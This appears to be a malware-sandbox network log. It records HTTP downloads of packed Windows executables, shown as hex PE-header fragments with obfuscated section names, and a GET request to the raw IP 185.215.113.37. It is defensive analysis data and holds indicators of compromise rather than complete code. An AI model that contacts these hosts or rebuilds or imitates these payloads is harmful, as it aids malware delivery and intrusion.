Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:02:24 GMTContent-Type: application/octet-streamContent-Length: 314368Last-Modified: Sun, 29 Sep 2024 08:19:54 GMTConnection: keep-aliveETag: "66f90daa-4cc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 aa 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 25 00 e0 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 04 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8f cc 01 00 00 10 00 00 00 ce 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 8c cf 00 00 00 e0 01 00 00 d0 00 00 00 d2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 a4 03 23 00 00 b0 02 00 00 e4 01 00 00 a2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 9e 45 00 00 00 c0 25 00 00 46 00 00 00 86 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:02:42 GMTContent-Type: application/octet-streamContent-Length: 1895936Last-Modified: Thu, 24 Oct 2024 01:49:23 GMTConnection: keep-aliveETag: "6719a7a3-1cee00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 f0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 4b 00 00 04 00 00 86 d7 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 d2 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 d1 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 72 6f 70 67 66 73 73 00 e0 19 00 00 00 31 00 00 d4 19 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 6d 75 74 77 74 7a 68 00 10 00 00 00 e0 4a 00 00 04 00 00 00 c8 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 4a 00 00 22 00 00 00 cc 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:02:47 GMTContent-Type: application/octet-streamContent-Length: 1918464Last-Modified: Thu, 24 Oct 2024 01:49:16 GMTConnection: keep-aliveETag: "6719a79c-1d4600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 90 6c 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 6c 00 00 04 00 00 72 5c 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 2b 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 7a 78 6b 76 69 6d 72 00 f0 1a 00 00 90 51 00 00 e4 1a 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 62 75 6f 6b 79 74 75 00 10 00 00 00 80 6c 00 00 04 00 00 00 20 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 6c 00 00 22 00 00 00 24 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:02:50 GMTContent-Type: application/octet-streamContent-Length: 2742272Last-Modified: Thu, 24 Oct 2024 01:44:44 GMTConnection: keep-aliveETag: "6719a68c-29d800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2a 00 00 04 00 00 25 5a 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 76 78 69 6a 65 73 76 6f 00 80 29 00 00 a0 00 00 00 78 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 6f 61 6d 79 79 68 71 00 20 00 00 00 20 2a 00 00 04 00 00 00 b2 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2a 00 00 22 00 00 00 b6 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:03:13 GMTContent-Type: application/octet-streamContent-Length: 1895936Last-Modified: Thu, 24 Oct 2024 01:49:23 GMTConnection: keep-aliveETag: "6719a7a3-1cee00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 f0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 4b 00 00 04 00 00 86 d7 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 d2 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 d1 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 72 6f 70 67 66 73 73 00 e0 19 00 00 00 31 00 00 d4 19 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 6d 75 74 77 74 7a 68 00 10 00 00 00 e0 4a 00 00 04 00 00 00 c8 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 4a 00 00 22 00 00 00 cc 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:03:19 GMTContent-Type: application/octet-streamContent-Length: 1918464Last-Modified: Thu, 24 Oct 2024 01:49:16 GMTConnection: keep-aliveETag: "6719a79c-1d4600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 90 6c 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 6c 00 00 04 00 00 72 5c 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 2b 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 7a 78 6b 76 69 6d 72 00 f0 1a 00 00 90 51 00 00 e4 1a 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 62 75 6f 6b 79 74 75 00 10 00 00 00 80 6c 00 00 04 00 00 00 20 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 6c 00 00 22 00 00 00 24 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 02:03:21 GMTContent-Type: application/octet-streamContent-Length: 2742272Last-Modified: Thu, 24 Oct 2024 01:44:44 GMTConnection: keep-aliveETag: "6719a68c-29d800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2a 00 00 04 00 00 25 5a 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 76 78 69 6a 65 73 76 6f 00 80 29 00 00 a0 00 00 00 78 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 6f 61 6d 79 79 68 71 00 20 00 00 00 20 2a 00 00 04 00 00 00 b2 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2a 00 00 22 00 00 00 b6 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
